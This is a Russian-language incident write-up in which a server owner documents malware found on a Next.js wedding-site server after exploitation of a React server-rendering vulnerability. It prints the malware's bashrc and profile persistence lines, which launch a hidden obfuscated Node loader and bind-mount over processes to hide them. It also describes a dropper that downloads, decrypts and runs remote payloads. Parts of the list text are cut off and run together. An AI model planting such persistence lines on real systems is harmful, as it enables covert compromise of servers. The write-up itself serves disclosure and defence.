
вредоносное ПО, которое я нашёл на своём сервере
Это дамп вредоносного ПО и прочего подозрительного мусора, который я нашёл на сервере моего свадебного сайта после эксплуатации уязвимости выполнения кода при серверном рендеринге React. Это небольшой дроплет Digital Ocean, на котором работает довольно заурядное приложение на Next.js.
CVE: https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
Журнал активности сервера, показывающий различные всплески и прочее:

Главный злодей, похоже, установлен в /.local/share/.r0qsv8h1
В моём bashrc:
# System
(nohup /.local/share/.r0qsv8h1/.394ly8v9/bin/node /.local/share/.r0qsv8h1/.fvq2lzl64e.js >/dev/null 2>&1 &) 2>/dev/null
pgrep -f mesh | xargs -I {} mount -n --bind /dev/shm /proc/{} 2>/dev/null
pgrep -f mesh | xargs -I {} mount -n --bind /dev/shm /proc/{} 2>/dev/null
pgrep -f mesh | xargs -I {} mount -n --bind /dev/shm /proc/{} 2>/dev/null
Обратите внимание: pgrep'ы здесь для того, чтобы остановить этот другой фейковый вредонос "meshagent". Об этом можно прочитать в документе MESHAGENT.md.
В моём profile то же самое:
# App
(/.local/share/.r0qsv8h1/.394ly8v9/bin/node /.local/share/.r0qsv8h1/.fvq2lzl64e.js >/dev/null 2>&1 &) 2>/dev/null
Другие подозрительные службы можно увидеть в SUSPICIOUS_SERVICES.md.
Вот анализ этого главного вредоноса:
Каталог bad содержит автономную среду выполнения Node.js в комплекте с набором сильно обфусцированных JavaScript-файлов.
Все улики указывают на то, что это вредоносный дроппер, который незаметно связывается с удалённым сервером, загружает зашифрованную полезную нагрузку, расшифровывает её, записывает на диск и выполняет как отсоединённый фоновый процесс. Код также периодически проверяет сервер на наличие обновлений.
Base64-нагрузка в .5f8562 декодируется в:
{
"0": "c6aeb84b-0600-4e82-ae3e-f7d441a2fd7c",
"1": ".fvq2lzj6te.js",
"3": 1765307786421,
"4": "desktop"
}
"1" ссылается на основной обфусцированный скрипт-загрузчик."0" — это UUID, который, вероятно, используется удалённым сервером для отслеживания."3" — временная метка (в миллисекундах с эпохи Unix), указывающая, когда был создан манифест."4" указывает предполагаемое расположение (desktop), намекая на то, что полезная нагрузка может пытаться скрыться там.node .5f8562), манифест указывает на .fvq2lzj6te.js.setInterval периодически повторяет последовательность загрузка-расшифровка-запуск, позволяя атакующему отправлять новые или обновлённые нагрузки без дополнительного взаимодействия с пользователем.PATH, cwd и т. д.) и может выполнять типичные вредоносные действия, такие как криптомайнинг, кража учётных данных или удалённое выполнение команд..r0qsv8h1 и любые файлы, которые он мог создать (проверьте Desktop пользователя и временные каталоги на наличие недавно созданных исполняемых файлов).Этот анализ был выполнен автоматически ИИ-ассистентом на основе статического изучения файлов, присутствующих в каталоге. Никакого выполнения в рантайме не производилось.
Вы можете узнать больше в DEOBFUSCATE.md
| Файл | Описание |
|---|
.394ly8v9/README.md | Стандартный README Node.js — не связан с вредоносной функциональностью; присутствует только для того, чтобы набор выглядел легитимно. |
.fvq2lzl64e.js | ~5 КБ обфусцированного JavaScript. Формирует JSON-RPC HTTP-запрос, получает полезную нагрузку в base64, расшифровывает её пользовательским шифром, записывает нагрузку в случайный файл и выполняет её через child_process.spawn / execSync. Также порождает отсоединённый фоновый процесс, который многократно опрашивает удалённый сервер. |
.lauphhtqrg.js | ~13 КБ обфусцированного JavaScript. Реализует аналогичный цикл загрузка-расшифровка-запуск с собственным шифром в стиле RC4 (dec). Записывает расшифрованную нагрузку в файл со сгенерированным именем и запускает его. Устанавливает таймер для последующей загрузки новых нагрузок. |
.5f8562 | Обычная строка Base64. Декодируется в небольшой JSON-манифест: json { "0":"c6aeb84b-0600-4e82-ae3e-f7d441a2fd7c", "1":".fvq2lzj6te.js", "3":1765307786421, "4":"desktop" } Этот манифест сообщает загрузчику, какой скрипт выполнять (.fvq2lzj6te.js), и предоставляет идентификатор/метку времени. |
.b0rtqscrkeov | Пока не изучен, но шаблон имени позволяет предположить, что это ещё один компонент той же вредоносной цепочки. |
bin/node и сопутствующие файлы lib/ | Полноценная среда выполнения Node.js, позволяющая запускать скрипты в системе, даже если Node.js не установлен. |